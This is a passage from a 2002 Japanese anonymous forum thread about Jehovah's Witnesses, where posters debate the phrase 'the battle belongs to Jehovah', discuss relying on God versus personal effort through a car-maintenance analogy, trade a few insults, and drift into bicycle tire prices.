ウィ〜ラ! ↓ どうやら話された事柄の意味を取り違えているようですね、 創世記3章の中でエバに語りかけた者の様に歪曲した表現にするのはやめてくださいね 戦いはエホバのもので”神の”義の戦いです。 それゆえにエホバの証人は神の義の戦いに於いてエホバの側を支持しますが その”戦いはエホバのもの”と聖書にもあるように、 JW自身は戦争行為やそれを支持することから離れるよう(これも聖書にもありますが)努めております。 ↑ ウィ〜ラ!
901 :
名無しさん@1周年 :02/08/21 15:53
ウィ〜ラ!
902 :
名無しさん@1周年 :02/08/21 20:35
>896 答 おばけ、キツネ、プラクラ、うぅ解釈のしかたによってはそうかも。 開拓のおね−ちゃんがドアをノックする回数@音でした。 教育がよろしいようで、どなたがこられても「コンコン」で終わり、それ以上 ノックしません。 美的だなぁぁぁ〜
903 :
バビル3世 :02/08/21 20:47
>895 はっ?、なに言ってのこの気狂い!! 毒をもって毒を制する。 おめーらにはこれが一番。 このカルトが!!
904 :
名無しさん@1周年 :02/08/21 20:48
戦いはエホバのもの=裁きはエホバのもの 人間がどっちが正しい、どっちが間違っているかなんて決めるもんじゃない。 エホバの戦いは支持するもんでもない。勝手に他を悪だと決め付けるようなもの。 人間は許し合うことしかできない。 全ては神が報いるもの。
905 :
名無しさん@1周年 :02/08/21 23:26
神なんていないんだよお トイレットペ−パ−の紙でも信仰してろ
906 :
名無しさん@1周年 :02/08/22 00:33
>>859 誰のこと?
もしかしてそれはRBCの…兄弟のことかな
907 :
名無しさん@1周年 :02/08/22 00:50
908 :
名無しさん@1周年 :02/08/22 01:57
909 :
名無しさん@1周年 :02/08/23 08:11
910 :
名無しさん@1周年 :02/08/23 08:23
100近く残して新スレは もったいない
911 :
名無しさん@1周年 :02/08/23 08:59
現スレ続行に賛成
912 :
名無しさん@1周年 :02/08/24 09:23
アッシリア軍の驚異から国を護るためにヒゼキヤがセナケリブに巨額の貢ぎ物をしたり、アッシリア軍の水源 を断つための工作をしたけど最後は神に依り頼んで報われたと学んだよね。 あの教訓は最初から神に頼ることを勧めるために示したヒゼキヤの悪い例なのでしょうか? それとも出来ることは自分で最善を尽くし、それでもダメなら神に頼るしかないという意味でだされたのでしょうか?
913 :
名無しさん@1周年 :02/08/24 09:30
自動車に乗るとき a.メンテナンスを行なって、その上で道中の安全を祈る人と b.何もしないでただ祈る人と エホバはどちらを好感を持って受け入れるでしょうか? もちろん一番いけないのは安全装備の購入に必死になって、そ の反面エホバには全然頼らない人ですけれど。
914 :
名無しさん@1周年 :02/08/24 09:57
>>913 912
良い例えで示してくれましたね。
よくエホバに全幅の信頼を置くという言葉を聞きます。
これを適用するに当たって問題に対処する努力を自分では払わないでただ集会と奉仕に出ればエホバがなんとかしてくれると思い込む場合があるかもしれませんね。
自動車の例えからもわかるように溝の無いツルルツのタイヤで自動車を走らせて「今あるもので満足する」みたいな考え方は危険だと思います。
経済的な事情から自動車を責任有る形で管理できないならバイクや自転車に替える必要も出てくると思います。
何か例えじゃなくなってきましたね。(^^;)
915 :
名無しさん@1周年 :02/08/24 18:55
1000
916 :
名無しさん@1周年 :02/08/25 14:39
1001
917 :
名無しさん@1周年 :02/08/25 16:57
1002
918 :
名無しさん@1周年 :02/08/25 21:41
1000
919 :
名無しさん@1周年 :02/08/25 22:00
自転車のブレーキが二つとも壊れているのに満足しちゃったり
920 :
名無しさん@1周年 :02/08/25 22:53
やはり歩くのが一番かな 経済的だし健康的だし
921 :
名無しさん@1周年 :02/08/26 14:08
自転車のタイヤが寿命になってしまった。出費がいたい〜
922 :
名無しさん@1周年 :
02/08/26 14:32 自転車のタイヤって案外と高いね 軽四のタイヤの方がそのわりには安いみたい 近所の自転車屋さん片輪税込み2000円で入れ替えてくれるよタイヤ・チューブ交換 パンク修理は一輪500円